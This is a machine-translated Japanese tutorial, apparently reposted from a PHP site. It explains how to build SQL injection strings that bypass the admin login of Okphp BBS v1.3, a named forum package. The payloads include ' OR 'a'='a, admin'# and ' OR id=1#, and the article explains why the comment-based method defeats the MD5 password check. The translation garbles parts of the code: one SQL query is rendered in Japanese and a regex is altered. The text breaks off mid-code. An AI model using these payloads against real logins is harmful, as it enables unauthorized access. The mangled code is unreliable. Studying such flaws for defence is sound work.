ホームページ >php教程 >PHP开发 >php+mysqlインジェクションステートメント構造についての話

php+mysqlインジェクションステートメント構造についての話

高洛峰
高洛峰オリジナル
2016-11-28 16:23:131076ブラウズ

1. 前書き:

バージョン情報: Okphp BBS v1.3 オープンソース版

ダウンロード アドレス: http://www.cncode.com/SoftView.asp?SoftID=1800

PHP と MYSQL 自体のせいで、PHP +MYSQL インジェクションは、特にインジェクション時のステートメントの構築が難しく、主に Okphp BBS v1.3 のいくつかのファイルの簡単な分析を使用して、php+mysql インジェクション ステートメントの構築方法について説明したいと思います。それはあなたの助けになるでしょう。

声明: 記事で言及されているすべての「脆弱性」はテストされておらず、まったく存在しない可能性があります。重要なのは、分析のアイデアと声明の構造です。

2. 「脆弱性」分析:

1. Admin/login.php インジェクションにより認証バイパスの脆弱性が発生:

コード:

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

$password = md5($password);

$q = "username='$username'、password='$password'である$user_tableからid,group_idを選択します";

$res = sql_query($q, $ conn);

$row = sql_fetch_row($res);

$q = "select id,group_id from $user_table where username='$username' and password='$password'" in

$username and $パスワードはフィルタリングされていないため、簡単にバイパスできます。

select * from $user_table where username='$username' andpassword='$password' のようなステートメントを変更するメソッドは次のとおりです:

構築 1 (論理演算を使用): $username=' OR 'a'=' a $ password=' OR 'a'='a

SQL ステートメントと同等:

Select * from $user_table where username='' OR 'a'='a' and passwd='' OR 'a'=' a'

構築 2 (mysql のコメント ステートメント # を使用し、$password をコメント アウトするには /*): $username=admin'#(または admin'/*)

つまり:

select * from $user_table where username = 'admin'#' と、password='$password'"

以下と同等:

select * from $user_table where username='admin'

admin/login.php の $q ステートメントの $password は、 query md5 暗号化は以前に実行されているため、構成 1 のステートメントではバイパスできません。ここでは構成 2 を使用します:

select id, group_id from $user_table where username='admin'#' and passwd='$password'"

同等:

select id, group_id from $user_table where username='admin'

これは、admin という名前のユーザーが存在する限り当てはまります。ユーザー名がわからない場合は、対応するものだけがわかります。 id,

次のように構築できます: $username=' OR id=1#

以下と同等:

select id,group_id from $user_table where username='' OR id=1# and password='$password ' (# 以降はコメントアウトされています)

引き続きコードを見てみましょう:

if ($row[0]) {

// 管理者またはスーパーモデレーターでない場合

if ($username != "admin " && !eregi("(^|&)3 ($|&)",$row[1])) {

$login = 0;

}

else {

$login = 1;

}

}

// ログインに失敗しました- ---------------

if (!$login) {

write_log("モデレーターログイン","0","パスワードが違います");

エコー "


声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。